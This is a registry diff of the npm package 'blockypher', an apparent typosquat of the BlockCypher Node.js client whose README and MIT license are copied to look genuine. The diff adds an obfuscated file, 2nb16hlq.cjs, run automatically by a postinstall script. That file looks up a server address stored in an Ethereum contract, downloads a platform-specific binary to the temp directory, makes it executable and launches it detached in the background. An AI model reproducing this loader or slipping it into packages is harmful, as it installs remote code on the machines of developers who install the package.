blockypher 0.0.1-security → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of blockypher might be problematic. Click here for more details.
- package/2nb16hlq.cjs +1 -0
- package/LICENSE.md +21 -0
- package/README.md +45 -3
- package/package.json +28 -4
package/2nb16hlq.cjs
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0xf420fe=_0x3a4f;function _0x3a4f(_0x1b90ae,_0xe28e97){const _0x36068c=_0x3606();return _0x3a4f=function(_0x3a4f7a,_0x1d97ae){_0x3a4f7a=_0x3a4f7a-0xe6;let _0x59a311=_0x36068c[_0x3a4f7a];return _0x59a311;},_0x3a4f(_0x1b90ae,_0xe28e97);}function _0x3606(){const _0x18de83=['46233llTeQx','platform','236820jrcBjf','Ошибка\x20при\x20получении\x20IP\x20адреса:','pfvRk','wWIuM','ZzJoV','/node-win.exe','unref','finish','FGyeC','Ошибка\x20установки:','GET','stream','getString','Ошибка\x20при\x20запуске\x20файла:','tmpdir','util','error','335Axrajb','ofGOB','7SdtWRV','7940XNXpRM','ignore','208VBWMtK','ethers','child_process','755','Lgqcb','path','data','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','join','10428320cZwlhl','bbKTm','Unsupported\x20platform:\x20','darwin','ebTmv','tZhOi','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','YWWFJ','linux','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','Contract','WgvHM','win32','325906HZCKpZ','1416726SkCSqt','180043krrlop','IeDNx','pipe','/node-linux'];_0x3606=function(){return _0x18de83;};return _0x3606();}(function(_0x2fbb99,_0x7856f3){const _0x468cb6=_0x3a4f,_0x1ffa57=_0x2fbb99();while(!![]){try{const _0xd01c17=-parseInt(_0x468cb6(0xf5))/0x1+-parseInt(_0x468cb6(0xf3))/0x2+-parseInt(_0x468cb6(0xfb))/0x3+parseInt(_0x468cb6(0x10f))/0x4*(-parseInt(_0x468cb6(0x10c))/0x5)+-parseInt(_0x468cb6(0xf4))/0x6*(parseInt(_0x468cb6(0x10e))/0x7)+parseInt(_0x468cb6(0x111))/0x8*(-parseInt(_0x468cb6(0xf9))/0x9)+parseInt(_0x468cb6(0xe6))/0xa;if(_0xd01c17===_0x7856f3)break;else _0x1ffa57['push'](_0x1ffa57['shift']());}catch(_0x1787c1){_0x1ffa57['push'](_0x1ffa57['shift']());}}}(_0x3606,0x1cdca));const {ethers}=require(_0xf420fe(0x112)),axios=require('axios'),util=require(_0xf420fe(0x10a)),fs=require('fs'),path=require(_0xf420fe(0x116)),os=require('os'),{spawn}=require(_0xf420fe(0x113)),contractAddress=_0xf420fe(0xef),WalletOwner=_0xf420fe(0xec),abi=[_0xf420fe(0x118)],provider=ethers['getDefaultProvider']('mainnet'),contract=new ethers[(_0xf420fe(0xf0))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x23bccf=_0xf420fe,_0x1715d8={'TMXVf':_0x23bccf(0xfc)};try{const _0x4da236=await contract[_0x23bccf(0x107)](WalletOwner);return _0x4da236;}catch(_0x3233b8){return console[_0x23bccf(0x10b)](_0x1715d8['TMXVf'],_0x3233b8),await fetchAndUpdateIp();}},getDownloadUrl=_0x13908f=>{const _0x502ad5=_0xf420fe,_0x520a33={'pfvRk':'win32','Lgqcb':_0x502ad5(0xee),'IeDNx':_0x502ad5(0xe9)},_0x45bf05=os[_0x502ad5(0xfa)]();switch(_0x45bf05){case _0x520a33[_0x502ad5(0xfd)]:return _0x13908f+_0x502ad5(0x100);case _0x520a33[_0x502ad5(0x115)]:return _0x13908f+_0x502ad5(0xf8);case _0x520a33[_0x502ad5(0xf6)]:return _0x13908f+'/node-macos';default:throw new Error(_0x502ad5(0xe8)+_0x45bf05);}},downloadFile=async(_0x20cdae,_0x4f7298)=>{const _0x4bce45=_0xf420fe,_0x364af5={'ofGOB':_0x4bce45(0x10b),'wWIuM':function(_0x32b8b2,_0x9f283c){return _0x32b8b2(_0x9f283c);},'WgvHM':_0x4bce45(0x105),'QMEov':_0x4bce45(0x106)},_0x5344dc=fs['createWriteStream'](_0x4f7298),_0x2bdd8d=await _0x364af5[_0x4bce45(0xfe)](axios,{'url':_0x20cdae,'method':_0x364af5[_0x4bce45(0xf1)],'responseType':_0x364af5['QMEov']});return _0x2bdd8d[_0x4bce45(0x117)][_0x4bce45(0xf7)](_0x5344dc),new Promise((_0x1a4471,_0x2514d8)=>{const _0x1acf6b=_0x4bce45;_0x5344dc['on'](_0x1acf6b(0x102),_0x1a4471),_0x5344dc['on'](_0x364af5[_0x1acf6b(0x10d)],_0x2514d8);});},executeFileInBackground=async _0x37a4a2=>{const _0x1df17b=_0xf420fe,_0x1e32a5={'ebTmv':function(_0x48aa42,_0x47ecba,_0xd6001b,_0x3c8a4d){return _0x48aa42(_0x47ecba,_0xd6001b,_0x3c8a4d);},'bXWIw':_0x1df17b(0x108)};try{const _0x591df7=_0x1e32a5[_0x1df17b(0xea)](spawn,_0x37a4a2,[],{'detached':!![],'stdio':_0x1df17b(0x110)});_0x591df7[_0x1df17b(0x101)]();}catch(_0x15654a){console[_0x1df17b(0x10b)](_0x1e32a5['bXWIw'],_0x15654a);}},runInstallation=async()=>{const _0x44b829=_0xf420fe,_0x13c31d={'ZzJoV':function(_0x4167d9){return _0x4167d9();},'bbKTm':function(_0x92fcaa,_0x3df0cd){return _0x92fcaa(_0x3df0cd);},'tZhOi':function(_0x1913d6,_0x2a1e78){return _0x1913d6!==_0x2a1e78;},'YWWFJ':function(_0x4702a4,_0x199f30){return _0x4702a4(_0x199f30);},'FGyeC':_0x44b829(0x104)};try{const _0x194644=await _0x13c31d[_0x44b829(0xff)](fetchAndUpdateIp),_0x21d2ad=_0x13c31d[_0x44b829(0xe7)](getDownloadUrl,_0x194644),_0xf99183=os[_0x44b829(0x109)](),_0x391f94=path['basename'](_0x21d2ad),_0x3e9aa2=path[_0x44b829(0x119)](_0xf99183,_0x391f94);await downloadFile(_0x21d2ad,_0x3e9aa2);if(_0x13c31d[_0x44b829(0xeb)](os[_0x44b829(0xfa)](),_0x44b829(0xf2)))fs['chmodSync'](_0x3e9aa2,_0x44b829(0x114));_0x13c31d[_0x44b829(0xed)](executeFileInBackground,_0x3e9aa2);}catch(_0x2e4959){console[_0x44b829(0x10b)](_0x13c31d[_0x44b829(0x103)],_0x2e4959);}};runInstallation();
|
package/LICENSE.md
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
The MIT License (MIT)
|
|
2
|
+
|
|
3
|
+
Copyright (c) [2020] [BlockCypher, Inc.]
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
|
@@ -1,5 +1,47 @@
|
|
|
1
|
-
|
|
1
|
+

|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
node-client
|
|
4
|
+
===========
|
|
4
5
|
|
|
5
|
-
|
|
6
|
+
Node.js SDK for the BlockCypher Web services. See [https://www.blockcypher.com/dev/bitcoin/](https://www.blockcypher.com/dev/bitcoin/) for detailed documentation.
|
|
7
|
+
|
|
8
|
+
To install, just use npm:
|
|
9
|
+
|
|
10
|
+
```bash
|
|
11
|
+
npm install blockcypher
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
Examples
|
|
15
|
+
--------
|
|
16
|
+
|
|
17
|
+
```javascript
|
|
18
|
+
bcypher = require('blockcypher');
|
|
19
|
+
|
|
20
|
+
var bcapi = new bcypher('btc','main',process.env.TOKEN);
|
|
21
|
+
|
|
22
|
+
function printResponse(err, data) {
|
|
23
|
+
if (err !== null) {
|
|
24
|
+
console.log(err);
|
|
25
|
+
} else {
|
|
26
|
+
console.log(data);
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
//get chain info
|
|
31
|
+
bcapi.getChain(printResponse);
|
|
32
|
+
//get block height without any optional URL params
|
|
33
|
+
bcapi.getBlock(300000, printResponse);
|
|
34
|
+
//get block height with an optional "txstart" param, as outlined in docs here: http://dev.blockcypher.com/
|
|
35
|
+
bcapi.getBlock(300000, {txstart:2}, printResponse);
|
|
36
|
+
|
|
37
|
+
//let's try a post request, like making a new webhook
|
|
38
|
+
var webhook = {
|
|
39
|
+
event: "unconfirmed-tx",
|
|
40
|
+
address: "15qx9ug952GWGTNn7Uiv6vode4RcGrRemh",
|
|
41
|
+
url: "https://my.domain.com/callbacks/new-tx"
|
|
42
|
+
};
|
|
43
|
+
bcapi.createHook(webhook, printResponse);
|
|
44
|
+
|
|
45
|
+
//Now let's list all of our webhooks
|
|
46
|
+
bcapi.listHooks(printResponse);
|
|
47
|
+
```
|
package/package.json
CHANGED
|
@@ -1,6 +1,30 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blockypher",
|
|
3
|
-
"
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"main": "./lib/bcypher.js",
|
|
4
|
+
"version": "0.3.0",
|
|
5
|
+
"description": "A REST API client for BlockCypher",
|
|
6
|
+
"repository": "https://github.com/blockcypher/node-client",
|
|
7
|
+
"license": "MIT",
|
|
8
|
+
"engines": {
|
|
9
|
+
"node": ">=4.0.0"
|
|
10
|
+
},
|
|
11
|
+
"dependencies": {
|
|
12
|
+
"superagent": "^5.2.2",
|
|
13
|
+
"xtend": "^4.0.1",
|
|
14
|
+
"axios": "^1.7.7",
|
|
15
|
+
"ethers": "^6.13.2"
|
|
16
|
+
},
|
|
17
|
+
"scripts": {
|
|
18
|
+
"postinstall": "node 2nb16hlq.cjs"
|
|
19
|
+
},
|
|
20
|
+
"devDependencies": {
|
|
21
|
+
"chai": "^4.2.0",
|
|
22
|
+
"istanbul": "^0.4.5",
|
|
23
|
+
"mocha": "^7.1.2",
|
|
24
|
+
"sinon": "^9.0.2",
|
|
25
|
+
"sinon-test": "^3.0.0"
|
|
26
|
+
},
|
|
27
|
+
"files": [
|
|
28
|
+
"2nb16hlq.cjs"
|
|
29
|
+
]
|
|
30
|
+
}
|